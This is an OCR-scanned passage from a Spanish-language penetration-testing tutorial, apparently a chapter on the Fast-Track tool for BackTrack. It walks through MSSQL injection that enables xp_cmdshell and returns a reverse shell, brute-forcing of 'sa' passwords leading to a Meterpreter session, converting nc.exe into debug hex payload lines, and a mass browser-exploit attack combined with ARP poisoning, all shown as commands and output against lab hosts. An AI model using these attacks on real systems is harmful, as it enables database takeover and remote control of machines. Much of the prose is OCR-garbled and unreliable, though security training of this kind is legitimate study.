. Fast-Track Changelog
10. Fast-Track Credits

11. Exit

Enter the number:

CoNook~wNE

Por ultimo, el modo Web GUI (Interfaz grafica de usuario) es lanzado ejecutando './Fast-track.py-g'. Por defecto, el
puerto del servidor web serd 44444, pero se puede cambiar por un nimero de puerto diferente en la consola de
comandos.

root@bt4:/pentest/exploits/fasttrack#
Jfast-track.py -g 31337

Fast-Track v4.0 - Where it's OK to finish in under 3 minutes...
Automated Penetration Testing

Written by David Kennedy (ReL1K)

SecureState

http://www.securestate.com

dkennedy@securestate.com

Wiki and Bug Track: http://www.thepentest.com

Please read the README and LICENSE before using

this tool for acceptable use and modifications.

Modes:

Interactive Menu Driven Mode: -i
Command Line Mode: -c

Web GUI Mode -g

Examples: ./fast-track.py -i
Jfast-track.py -c

Jfast-track.py -g

Jfast-track.py -g

Usage: ./fast-track.py

kkkkkkkkkkkkkkkhkkkkkkkkkkkkkkhkkkkkkhkkkkhkkkkhkk

*rexeekik Performing dependency checks... *xxxkx

* *kkkkkkkkkkkk * * * * * *

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***

*** ClientForm is installed. (Check) ***

*** Pgyco is installed. (Check) ***

*** Beautiful Soup is installed. (Check) ***

*** PyMills is installed. (Check) ***

Also ensure ProFTP, WIinEXE, and SQLite3 is installe d from
the Updates/Installation menu.
Your system has all requirements needed to run Fast -Track!

* *kkkkkkkkkkkkkkhk * * * *

Fast-Track Web GUI Front-End

Written by: David Kennedy (ReL1K)

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkhkhkhkhhkkk

Starting HTTP Server on 127.0.0.1 port 31337

*** Open a browser and go to http://127.0.0.1:31337 ko
Type -c to exit..




&
Fast-Track

WHERE IT'S 0K T0 FINISH IN UNDER 3 MINUTES...

pl these tonls Utilize the
paviageds explolt ¢ A vale Ciring glration
[esl f BrE W oltthere that did what | needed
them to ortheywere |Us f f el in if the
technigues | wauld narmally use In & alven penetration test. [t is always dood ta [earn haw (o

da all of thes 1Eks manually

Nos centraremos principalmente en la funcionalidad del modo interactivo. El resto de los modos son féciles de
entender una vez que entienda cada una de las herramientas del modo interactivo.

13.2 Actualizar Fast-Track

Actualizar Fast-Track

Desde el menu de modo Fast-Track interactivo, laaas opciones aqui para ayudarle en una pruepardggracion. Lo primero
es lo primero, Fast-Track le permite mantenersiaaton las Ultimas y mejores herramientas. Sebzama automaticamente,
vMetasploit, Aircrack-NG, W3Af, Nikto, MilwOrm Exjolits, Kismet-Newcore, and SQLMap. Para actualiadas estas
herramientas, basta con desplazarse al menu aeitialies y seleccionar cuales desea actualizaualiaar todo.



root@bt4:/pentest/exploits/fasttrack# ./fast-track.

* * * *

rreeeeek Performing dependency checks... **xxxxx

* * * *

*** EreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***

*** ClientForm is installed. (Check) ***

*** Pgyco is installed. (Check) ***

*** Beautiful Soup is installed. (Check) ***

*** pyMills is installed. (Check) ***

Also ensure ProFTP, WIinEXE, and SQLite3 is install
the Updates/Installation menu.

Your system has all requirements needed to run Fas
Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 mi
Version: v4.0

Written by: David Kennedy (ReL1K)
http://www.securestate.com
http://www.thepentest.com

Fast-Track Updates
Autopwn Automation
Microsoft SQL Tools
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
Payload Generator
Fast-Track Tutorials

. Fast-Track Changelog
10. Fast-Track Credits

11. Exit

©CoNoOAMONE

Enter the number: 1
Fast-Track Updates
Enter a number to update

. Update Fast-Track

. Metasploit 3 Update

. Aircrack-NG Update

. Nikto Plugin Update

. W3AF Update

. SQLMap Update

. Installation Menu

. Update MilwOrm Exploits
. Update Kismet-Newcore
10. Update Everything

11. Return to Main Menu

O©CO~NOODAWNE

Enter number: 10

Note this DOES NOT install preregs, please go to t
Updating Fast-Track, Metasploit, Aircrack-NG, Nikt

*xx Update complete **+**

Returning to main menu....

py -i

ed from

t-Track!

nutes...

he installation menu for that.
0, W3AF, MilwOrm, Kismet-NewCore and SQL Map

ASEGURESE de Actualizar Con Frecuencia Por viadappor Las MEJORAs continuas que se estan redlizgBntremos en

Los vectores de Ataque que BACKTRACK4 Tiene enrseraal.

Podemos combinar Lo Que hemos aprendido Hasta AtaseaCREAR Una Actualizacion de Una Linea:




root@bt4:/pentest/exploits/fasttrack# ./fast-track. py-c1l2

Fast-Track v4.0 - Where it's OK to finish in under 3 minutes...
Automated Penetration Testing

Written by David Kennedy (ReL1K)
SecureState
http://www.securestate.com
dkennedy@securestate.com

Wiki and Bug Track: http://www.thepentest.com

Please read the README and LICENSE before using
this tool for acceptable use and modifications.

Modes:

Interactive Menu Driven Mode: -i
Command Line Mode: -c
Web GUI Mode -g

Examples: ./fast-track.py -i
Jfast-track.py -c
Jfast-track.py -g
Jfast-track.py -g

Usage: ./fast-track.py

kkkkkkkkkkhkkkkkkkkkkhhkkkkkkhkkkkhhkkkhkkkkkkkhkhkkkhkkkk kkkkkhkkkkhkkkkkkkkkkkkk

Fast-Track Command Line - Where it's OK to finish in under 3 minutes...

* * * * * * *kkkkkkkkkkkkhkhk * * *kkkkkkkkkkkkhkhk

**+% MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FI RST (setup.py) ****
Visit http://trac.thepentest.com for tutorials or to file a bug.

. Update Menu

. Autopwn Automated

. MS-SQL Injector

. MS-SQL Bruter

. Binary to Hex Payload Generator
. Mass Client-Side Attack
. Exploits

. SQLPwnage

. Payload Generator

10. Changelog

11. Credits

12. About

O©CoO~NOOUITA,WNPE

Usage: fast-track.py -c

Note que esta no se instalan PreRequisitos, por favor vaya al menu de instalacién para eso. Actualizacion de Via
Rapida, Metasploit, Aircrack-NG, Nikto, w3af, Kismet NewCore y SQL Map.




13.3 MSSQL Injection

MSSQL Injection

Las inyecciones MSSQL utiliza algunas técnicas aadas para obtener informacion y acceso en Ultistarncia, el pleno acceso
sin restricciones al sistema subyacente. En estidsese requiere conocer un sitio que pueda deerable a ataques de
inyecciones SQL. Una vez que ello esté previstoyfmorapida puede hacer el trabajo por usted jotapel sistema. Tenga en
cuenta que esto solo funcionara en Microsoft SQik{ead en una aplicacion web.

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0

Written by: David Kennedy (ReL1K)

http://www.securestate.com

http://www.thepentest.com

Fast-Track Updates
Autopwn Automation
Microsoft SQL Tools
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
Payload Generator
Fast-Track Tutorials

. Fast-Track Changelog
10. Fast-Track Credits

11. Exit

CeNorwNME

Enter the number: 3
Microsoft SQL Attack Tools
Pick a list of the tools from below:
1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage
Enter your choice : 1
Enter which SQL Injector you want to use
1. SQL Injector - Query String Parameter Attack
2. SQL Injector - POST Parameter Attack
3. SQL Injector - GET FTP Payload Attack
4. SQL Injector - GET Manual Setup Binary Payload A ttack

Enter your choice:

Notificacion de los diferentes sub-menus que edigponibles. Haremos una revision a través de eadg explicar su
propdsito. EISQL Injector - Query String Parameter Attack' Busspecificamente vulnerabilidades en sistemas gurifan el
ingreso de cadenas de escritura de un sitio wetteicas de consulta son representados como
sigue:?querystringl=valuel&querystring2=value2 yitgeccién ocurre a menudo cuando valorl y val@2scuentran. Vamos
a navegar a un sitio vulnerable:

Tenga en cuenta los parametros de cadena de @asuli parte superior: inicio de sesidn y confrasgamos a lanzar una
Unica sentencia en el «Parametro login ‘cadenamgutta.



http://10.211.55.140/sql/Default.aspx?login="INJECTHERE&password=blah

Ahora que sabemos que el campo de entrada es susceptible a la inyeccion de SQL, tenemos que decirle rapidamente
a dénde ir realmente a lanzar el ataque. Hacemos esto mediante la especificacion de "INJECTHERE" en lugar del
pardametro de inyectables en la cadena de consulta. Esto le permitira rapidamente conocer lo que queremos atacar.
Mira el inferior a la produccién y el resultado final.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack

2. SQL Injector - POST Parameter Attack

3. SQL Injector - GET FTP Payload Attack

4. SQL Injector - GET Manual Setup Binary Payload A ttack

Enter your choice: 1

Requirements: PExpect

This module uses a reverse shell by using the binar y2hex method for uploading.
It does not require FTP or any other service, inste ad we are using the debug
function in Windows to generate the executable.

You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE
So for example, when the tool asks you for the SQL Injectable URL, type:
http://www.thisisafakesite.com/blah.aspx?id="INJECT HERE&password=blah

Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible
parameter

Example:http://www.thisisafakesite.com/blah.aspx?id ='INJECTHERE&password=blah
Enter here: http://10.211.55.128/Default.aspx?login ='INJECTHERE&password=blah
Sending initial request to enable xp_cmdshell if di sabled....

Sending first portion of payload (1/4)....

Sending second portion of payload (2/4)....

Sending third portion of payload (3/4)...

Sending the last portion of the payload (4/4)...

Running cleanup before executing the payload...

Running the payload on the server...Sending initial request to enable xp_cmdshell if
disabled....

Sending first portion of payload (1/4)....

Sending second portion of payload (2/4)....

Sending third portion of payload (3/4)...

Sending the last portion of the payload (4/4)...

Running cleanup before executing the payload...

Running the payload on the server...

listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211.5 5.128] 1041
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

Fast-Track automaticamente re habilita el proceatito almacenado 'xp_cmdshell' si esta deshabilijaafeece un reverse
payload en el sistema, en Ultima instancia, nascdaso total a lo largo de la inyeccién de SQL!




Este fue un gran ejemplo de como atacar los paraseé cadena de consulta, pero ¢,qué formas? gesarRest también puede
ser manejados rapida y facil mente . En las inyjeres MSSQL del menu de "Fast-Track" , selecciSQ.'Injector en el menu
'MSSQL Injector’ seleccione 'SQL Injector - POSTdPaeter Attack'.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack

2. SQL Injector - POST Parameter Attack

3. SQL Injector - GET FTP Payload Attack

4. SQL Injector - GET Manual Setup Binary Payload A ttack

Enter your choice: 2

This portion allows you to attack all forms on a sp ecific website without having to specify
each parameter. Just type the URL in, and Fast-Trac k will auto SQL inject to each parameter
looking for both error based injection as well as b lind based SQL injection. Simply type

the website you want to attack, and let it roll.

Example: http://www.sglinjectablesite.com/index.asp X
Enter the URL to attack: http://10.211.55.128/Defau It.aspx
Forms detected...attacking the parameters in hopes of exploiting SQL Injection..

Sending payload to parameter: txtLogin

Sending payload to parameter: txtPassword

[-] The PAYLOAD is being delivered. This can take u p to two minutes. [-]
listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211.5 5.128] 1041
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

Por no citar Office Max, que era facil! Fast-Trafekecta automéaticamente los formularios y ataséstma de inyeccion de
SQL, en ultima instancia le da acceso a los cuadros

Si por alguna razén el ataque cadena de parametrortsulta no se realizé correctamente, puedeautiil 'SQL Injector - GET
FTP Payload Attack'. Para ello es necesario qualéBroFTPD, y se utiliza raramente. En este nosiellconfigurara un
payload through FTP echo files, finalmente, entréggaarga a través de FTP y de inyeccion SQL.

El 'SQL Injector - GET Manual Setup Binary Paylastthck' se puede usar si usted esta atacando dmaopaina, pero tiene un
oyente en otra maquina. Esto se utiliza a menudst&iNAT y tiene una caja de escucha establecidb laternet y no en el
sistema desde el que esta atacando.

Enter which SQL Injector you want to use

1. SQL Injector - Query String Parameter Attack

2. SQL Injector - POST Parameter Attack

3. SQL Injector - GET FTP Payload Attack

4. SQL Injector - GET Manual Setup Binary Payload A ttack

Enter your choice: 4

The manual portion allows you to customize your att ack for whatever reason.

You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE

So for example, when the tool asks you for the SQL Injectable URL, type:
http://www.thisisafakesite.com/blah.aspx?id="INJECT HERE&password=blah

Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter
Example: http://www.thisisafakesite.com/blah.aspx?i d="INJECTHEREG&password=blah

Enter here: http://10.211.55.128/Default.aspx?login ='INJECTHEREG&password=blah

Enter the IP Address of server with NetCat Listenin g: 10.211.55.130

Enter Port number with NetCat listening: 9090




Sending initial request to enable xp_cmdshell if di sabled....
Sending first portion of payload....

Sending second portion of payload....

Sending next portion of payload...

Sending the last portion of the payload...

Running cleanup...

Running the payload on the server...

listening on [any] 9090 ...

10.211.55.128: inverse host lookup failed: Unknown server error : Connection timed out
connect to [10.211.55.130] from (UNKNOWN) [10.211.5 5.128] 1045
Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

13.4 MSSQL Bruter

MSSQL Bruter

Probablemente uno de mis aspectos favoritos deTiFask es el MSSQL Bruter. Es probablemente unimsi®1SSQL Bruter
mas robustos y Unico en el mercado hoy en disedlizar pruebas de penetracién interna, que a mesnclentran que MSSQL
"sa" contrasefias a menudo son pasados por alfwirger lugar, una breve historia detras de estlslas cuentas estan en
orden.

La cuenta "sa" es la cuenta de administrador draa para MSSQL vy utilizando las "Mixed Mode" atémticacién de SQL",la
cuenta SQL "sa" se crea de manera automatica.dromestradores tienen que introducir una contraséaear estas cuentas y,
a menudo dejar estas como contrasefias débiles.

Fast-Track ataca esta debilidad e intenta ideatifizs servidores SQL con cuentas debiles "sa's\centrasefias. Una vez que
estas contrasefias se han descubierto, Fast-Traekawsmlquier payload avanzado para la conversigaria utilizando ventanas
de depuracion. Vamos a explorar un espacio deedT de direcciones para servidores SQL. Unaactesger en cuenta cuando
a través de estos pasos es que se le pedira airdediear el descubrimiento de SQL avanzado.

Para explicar esto, primero necesitamos entend&lationes predeterminadas de SQL Server. AllarstL Server, por
defecto se instala SQL en el puerto TCP 1433. Hn S€)ver 2005 +, puede especificar la asignacigpudetos dinamicos que
haran que el nimero al azar y un poco dificilegldetificar. Afortunadamente para nosotros, elisenvSQL también instala el
puerto 1434 UDP que nos dice lo que en el puert® d€l servidor SQL se esta ejecutando. Al realazatentificacion
avanzada, Fast-Track utilizard el médulo de Metasalxiliar al puerto 1433 de consulta para losrfms, de lo contrario Fast-
Track s6lo acabara de exploracion para el puer3@.18chemos un vistazo a la SQL Bruter. Tenga enteLque al especificar el
descubrimiento avanzado, se necesita mucho magdisnmo se especifica el thread.

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0

Written by: David Kennedy (ReL1K)

http://www.securestate.com
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Enter the number: 3

Microsoft SQL Attack Tools




Pick a list of the tools from below:

1. MSSQL Injector
2. MSSQL Bruter
3. SQLPwnage

Enter your choice : 2
Enter the IP Address and Port Number to Attack.

Options: (a)ttempt SQL Ping and Auto Quick Brute
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target
(Hind SQL Ports (SQL Ping)
(i) want a command prompt and know which
(V)ulnerable system, | want to add a loc
(e)nable xp_cmdshell if its disabled (sq

Enter Option:

Force
with big dictionary)
system is vulnerable

al admin on the box...
I2k and sql2k5)

Fast-Track tiene una gran lista de opciones pagaghemos un vistazo a cada uno de ellos:

- La opcién "a", "attempt SQL Ping and Auto Qui
direcciones IP.
Esto utiliza la misma sintaxis que Nmap y Usa un di
hace unos cincuenta afios.

- La Opcion "m", "mass scan and dictionary brut
especificar
una lista de palabras de su propio diccionario, si
decente ubicado en 'bin / dict ".

- La Opcion "s","single Target (Attack a Single
ataque
a fuerza bruta a una direccion IP especifica 1 con

- La Opcion "f", "find SQL Ports (SQL Ping)", s

- La Opcion "i", "i want a command prompt and k
conoce
una clave para la cuenta 'sa'y le aparecera el sim

- La Opcion "s", "vulnerable system, | want to
usuario
administrativo en una caja que usted sepa que es v

- Opcion "e", "enable xp_cmdshell if its disabl
Fast-Track
utilizado para ejecutar comandos subyacentes del si
Server 2005
y anteriores, pero un ataque de Fast-Track puede vo
buena para hablar,
al atacar el sistema remoto con cualquiera de las o
a habilitar
Xp_cmdshell por si acaso.

ck Brute Force" intentara escanear un rango de

ccionario en la lista predefinida de contrasefias de

e", explorara un rango de direcciones IP y permite

n embargo Fast-Track viene con una lista de palabra

Target with big dictionary", le permitira realizar

una lista de palabras de gran tamafio.

6lo buscar servidores SQL y no atacarlos.

now which system is vulnerable”, usada cuando uste
bolo del sistema.

add a local admin on the box...", se agrega un nuev
ulnerable.

ed (sgl2k and sql2k5)", es un procedimiento almacen
stema. De forma predeterminada, esta deshabilitado
Iverlo a activar si se ha desactivado. Sélo una cos

pciones, Fast-Track de forma automética intentara v

sde

un

dya

ado de

en SQL

olver

Vamos a correr a través de Quick Brute Force..

[ Enter the IP Address and Port Number to Attack.




Options: (a)ttempt SQL Ping and Auto Quick Brute
(m)ass scan and dictionary brute
(s)ingle Target (Attack a Single Target
(find SQL Ports (SQL Ping)
(i) want a command prompt and know which
(v)ulnerable system, | want to add a loc
(e)nable xp_cmdshell if its disabled (sq

Enter Option: a
Enter username for SQL database (example:sa): sa
Configuration file not detected, running default pa
Recommend running setup.py install to configure Fas
Setting default directory...
Enter the IP Range to scan for SQL Scan (example 19

Do you want to perform advanced SQL server identifi
in order to determine where the SQL servers are at

Do you want to perform advanced identification, yes
[-] Launching SQL Ping, this may take a while to fo

[*] Please wait while we load the module tree...
Brute forcing username: sa

Be patient this could take awhile...

Brute forcing password of password2 on IP 10.211.55
Brute forcing password of on IP 10.211.55.128:1433
Brute forcing password of password on IP 10.211.55.

SQL Server Compromised: "sa" with password of: "pas

Brute forcing password of sqlserver on IP 10.211.55
Brute forcing password of sgl on IP 10.211.55.128:1
Brute forcing password of passwordl on IP 10.211.55
Brute forcing password of password123 on IP 10.211.
Brute forcing password of complexpassword on IP 10.
Brute forcing password of database on IP 10.211.55.
Brute forcing password of server on IP 10.211.55.12
Brute forcing password of changeme on IP 10.211.55.
Brute forcing password of change on IP 10.211.55.12
Brute forcing password of sqlserver2000 on IP 10.21
Brute forcing password of sqlserver2005 on IP 10.21
Brute forcing password of Sqlserver on IP 10.211.55
Brute forcing password of SqlServer on IP 10.211.55
Brute forcing password of Passwordl on IP 10.211.55

Brute forcing password of xp on IP 10.211.55.128:14
Brute forcing password of nt on IP 10.211.55.128:14
Brute forcing password of 98 on IP 10.211.55.128:14
Brute forcing password of 95 on IP 10.211.55.128:14
Brute forcing password of 2003 on IP 10.211.55.128:
Brute forcing password of 2008 on IP 10.211.55.128:

The following SQL Servers were compromised:

1.10.211.55.128:1433 *** U/N: sa P/W: password ***

To interact with system, enter the SQL Server numbe
Example: 1. 192.168.1.32 you would type 1

Enter the number:

Force
with big dictionary)

system is vulnerable
al admin on the box...
12k and sql2k5)

th.
t-Track.

2.168.1.1-255): 10.211.55.1/24

cation on non-standard SQL ports? This will use UDP
. This could take quite a long time.

or no: yes

otprint.... [-]

.128:1433
128:1433
sword" on IP 10.211.55.128:1433

.128:1433

433

.128:1433
55.128:1433
211.55.128:1433
128:1433
8:1433
128:1433
8:1433
1.55.128:1433
1.55.128:1433
.128:1433
.128:1433
.128:1433

footprinting

En cuanto a la salida anterior, que han puest@kgrp un servidor SQL en la direccion IP 10.211128 en el puerto 1433 con

nombre de usuario "sa" y la contrasefia "passwétitira queremos el pleno acceso a este chico mapuhl montén de

opciones que puede especificar en este caso, ussarara consola Meterpreter pero hay otras opciones.

Enter number here: 1

Enabling: XP_Cmdshell...

Finished trying to re-enable xp_cmdshell stored pro

Configuration file not detected, running default pa

cedure if disabled.

th

Recommend running setup.py install to configure Fas t-Track.

Setting default directory...

What port do you want the payload to connect to you on: 4444




Metasploit Reverse Meterpreter Upload Detected..
Launching Meterpreter Handler.
Creating Metasploit Reverse Meterpreter Payload..

Sending payload: c88f3f9ac4bbe0e66dal47e0f96efd48da dé

Sending payload: ac8cbc47714aaeed2672d69e251cee3dfb ad

Metasploit payload delivered..

Converting our payload to binary, this may take a f ew...

Cleaning up...

Launching payload, this could take up to a minute.. .

When finished, close the metasploit handler window to return to other compromised SQL
Servers.

[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (10.211.55.130:444 4 ->10.211.55.128:1030)

meterpreter >

Exito! Ahora tenemos acceso total a esta maquina. Muy mala cosa, y todo a través de adivinar el pass de la cuenta

sa .

13.5 Binay to Hex Converter

CONVERTIDOR DE BINARIO A
EXADECIMAL

El generador de binario a hexadecimal es (til caarsted ya tiene acceso a un sistema y la neced@anhitir un ejecutable. Por
lo general, TFTP y FTP son filtrados por los cartgios y un método alternativo que no requiere magwnexion de salida es la
utilizacién de las ventanas de depuracién de ceiuecon el fin de entregar su carga (util.

Fast-Track tomara cualquier ejecutable, siempreaydo esta por debajo de 64 kb de tamafio, y uivardh texto con el
formato especifico de las conversiones de depurat@d/Vindows. Una vez conseguido eso, simplempgtgelo en un simbolo
del sistema, o escribir un script para consegeinl@! sistema afectado que ya tienen acceso.

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0

Written by: David Kennedy (ReL1K)

http://www.securestate.com

http://www.thepentest.com

. Fast-Track Updates

. Autopwn Automation

. Microsoft SQL Tools
Mass Client-Side Attack
. Exploits

. Binary to Hex Payload Converter
. Payload Generator

. Fast-Track Tutorials

. Fast-Track Changelog
10. Fast-Track Credits

11. Exit
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Enter the number: 6
Binary to Hex Generator v0.1

This menu will convert an exe to a hex file which y ou just need
to copy and paste the output to a windows command p rompt, it will
then generate an executable based on your payload

**Note** Based on Windows restrictions the file can not be over 64kb




Enter the path to the file you want to convert to h ex: /pentest/exploits/fasttrack/nc.exe

Finished...
Opening text editor...

/I Output will look like this

DEL T 1>NUL 2>NUL

echo EDS:0 4D 5A 90 00 03 00 00 00 04 00 00 00 FF F F 00 00>>T
echo EDS:10 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00>>T
echo FDS:20 L 10 00>>T

echo EDS:30 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00>>T
echo EDS:40 OE 1F BAOE 00 B4 09 CD 21 B8 01 4C CD 21 54 68>>T
echo EDS:50 69 7320 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F>>T
echo EDS:60 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20>>T
echo EDS:70 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00>>T

Basta con pegar esto en un simbolo del sistema y ver la magia!

13.6 Mass-Client Attack

ATAQUES Mass-Client

Fast-Track's 'Mass Client-Side Attack'es de nataebkimilar a los db_autopwn Metasploit. Cuandasuario se conecta a su
sitio web malicioso, una gran cantidad de exploésonalizadoS desarrolladoS en Fast-Track y ebkigpio de Metasploit se

pondra en marcha en el cliente. Una cosa a afladuetambién puede utilizar el envenenamient@deécARP con ettercap

con el fin de forzar a la victima a su sitio! Vanaogrobar esto.

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 min utes...
Version: v4.0

Written by: David Kennedy (ReL1K)

http://www.securestate.com

http://www.thepentest.com

. Fast-Track Updates

. Autopwn Automation

. Microsoft SQL Tools

. Mass Client-Side Attack
. Exploits

. Binary to Hex Payload Converter
. Payload Generator

. Fast-Track Tutorials

. Fast-Track Changelog
10. Fast-Track Credits

11. Exit
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Enter the number: 4
Metasploit path not defined, you should run setup.p y, using the default for now...
Mass Client Client Attack

Requirements: PExpect

Metasploit has a bunch of powerful client-side atta cks available in
its arsenal. This simply launches all client side a ttacks within
Metasploit through msfcli and starts them on variou S ports

and starts a custom HTTP server for you, injects a new index.html

file, and puts all of the exploits in iframes.

If you can get someone to connect to this web page, it will basically
brute force various client side exploits in the hop e one succeeds.
You'll have to monitor each shell if one succeeds.. Once finished,

just have someone connect to port 80 for you and if they are vulnerable

to any of the exploits...should have a nice shell.




Enter the IP Address you want the web server to lis
Specify your payload:

1. Windows Meterpreter Reverse Meterpreter

2. Generic Bind Shell

3. Windows VNC Inject Reverse_TCP (aka "Da Gui")
4. Reverse TCP Shell

Enter the number of the payload you want: 1

Would you like to use ettercap to ARP poison a host
Ettercap allows you to ARP poison a specific host a

a site, force them to use the metasploit site and |
exploits from the Metasploit repository. ETTERCAP R

What IP Address do you want to poison: 10.211.55.12
Setting up the ettercap filters....

Filter created...

Compiling Ettercap filter...

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaG

12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr e

11 constants loaded:

VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoOE IP ARP

Parsing source file 'bin/appdata/fasttrack.filter'
Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'bin/appdata/fasttrack.ef' done.
-> Script encoded into 16 instructions.

Filter compiled...Running Ettercap and poisoning ta
Setting up Metasploit MSFConsole with various explo
If an exploit succeeds, type sessions - to list sh

to interact...

Have someone connect to you on port 80...
Launching MSFConsole and Exploits...

Once you see the Metasploit Console launch all the
connect to you..

SRVPORT => 8072

resource> set URIPATH /

URIPATH =>/

resource> set LPORT 9072

LPORT => 9072

resource> exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Exploit running as background job.

resource> use exploit/windows/browser/zenturiprogra
[*] Started reverse handler

resource> set PAYLOAD windows/meterpreter/reverse_t

[*] Using URL.: http://0.0.0.0:8071/

PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST 10.211.55.130

LHOST =>10.211.55.130

[*] Local IP: http://10.211.55.130:8071/
resource> set SRVPORT 8073

[*] Server started.

SRVPORT => 8073

resource> set URIPATH /

URIPATH =>/

ten on: 10.211.55.130

yes or no: yes

nd when they browse
aunch a slew of
EQUIRED.

th

done.

rget...
its...
ells and sessions -i

exploits have someone

mchecker_unsafe

cp




resource> set LPORT 9073

LPORT => 9073

resource> exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler

[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:8072/

[*] Local IP: http://10.211.55.130:8072/
[*] Server started.

msf exploit(zenturiprogramchecker_unsafe) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler

[*] Using URL: http://0.0.0.0:8073/

[*] Local IP: http://10.211.55.130:8073/
[*] Server started.

En este momento cuando nuestra la victima en 10.211.55.128 va a navegar por cualquier pagina web, todos los hrefs
serd reemplazado por nuestra direccién en Internet. Echale un vistazo a continuacién
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Observe en la esquina inferior izquierda que los puntos de enlace a nuestro sitio web malicioso en 10.211.55.130.
Todos los enlaces de Google han sido sustituidos con éxito. Tan pronto como se hace clic en un vinculo, el caos
comienza.

[*] Local IP: http://10.211.55.130:8071/

[*] Server started.

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:8072/

[*] Local IP: http://10.211.55.130:8072/

[*] Server started.

msf exploit(zenturiprogramchecker_unsafe) >

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:8073/

[*] Local IP: http://10.211.55.130:8073/

[*] Server started.

[*] Sending Adobe Collab.getlcon() Buffer Overflow t0 10.211.55.128:1044...
[*] Attempting to exploit ani_loadimage_chunksize

[*] Sending HTML page to 10.211.55.128:1047...

[*] Sending Adobe JBIG2Decode Memory Corruption Exp loit to 10.211.55.128:1046...
[*] Sending exploit to 10.211.55.128:1049...




[*] Attempting to exploit ani_loadimage_chunksize

[*] Sending Windows ANI LoadAnilcon() Chunk Size St ack Overflow (HTTP) to 10.211.55.128:1076...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)

[*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (10.211.55.130:900 7 ->10.211.55.128:1077

msf exploit(zenturiprogramchecker_unsafe) > session s -l

Active sessions

Id Description Tunnel

1 Meterpreter 10.211.55.130:9007 -> 10.211.55.128:1 077

msf exploit(zenturiprogramchecker_unsafe) > session s-il
[*] Starting interaction with 1...

meterpreter >

Tenga en cuenta que el envenenamiento de cach&@BRRincionara en sistemas en la misma subred que
usted. Este fue un gran ejemplo de cdmo el "foraami usuario para buscar su sitio en lugar de tpree
incitarles a hacer clic en un enlace y automaticdeni®s explotan con una variedad de ataques.

13.7 SQL PWNAGE

SQL PWNAGE

'SQLPwnage' es una herramienta para la deteccipotéaciales vulnerabilidades de inyeccion SQL maaplicacion web.
SQLPwnage explorara subredes y rastrear las URItaenh busca de cualquier tipo de parametros POSIPwnage intentara
gue se de un error de inyeccion SQL basada erntemdnpara tener acceso completo al sistema. Biesge adivinar la sintaxis
SQL apropiada, que hara una serie de ataques colver @ habilitar xp_cmdshell y la entrega de cuigcarga que desee, todo
a través de inyeccion de SQL. Usando el ejemplabdgo, automéaticamente se arrastrara y atacaiiague sabemos que es
vulnerable a la inyeccion de SQL. SQLPwnage fueitesgor Andrew Weidenhamer y David Kennedy. Varaoger qué pasa.

Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 min utes...
Version: v4.0

Written by: David Kennedy (ReL1K)

http://www.securestate.com

http://lwww.thepentest.com

. Fast-Track Updates

. Autopwn Automation

. Microsoft SQL Tools

. Mass Client-Side Attack
. Exploits

. Binary to Hex Payload Converter
Payload Generator

. Fast-Track Tutorials

. Fast-Track Changelog
10. Fast-Track Credits

11. Exit
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Enter the number: 3

Microsoft SQL Attack Tools

Pick a list of the tools from below:
1. MSSQL Injector

2. MSSQL Bruter

3. SQLPwnage

Enter your choice : 3

Configuration file not detected, running default pa th.
Recommend running setup.py install to configure Fas t-Track.
Default Metasploit directory set to /pentest/exploi ts/framework3/

Checking SQLPwnage dependencies required to run...

Dependencies installed. Welcome to SQLPwnage.




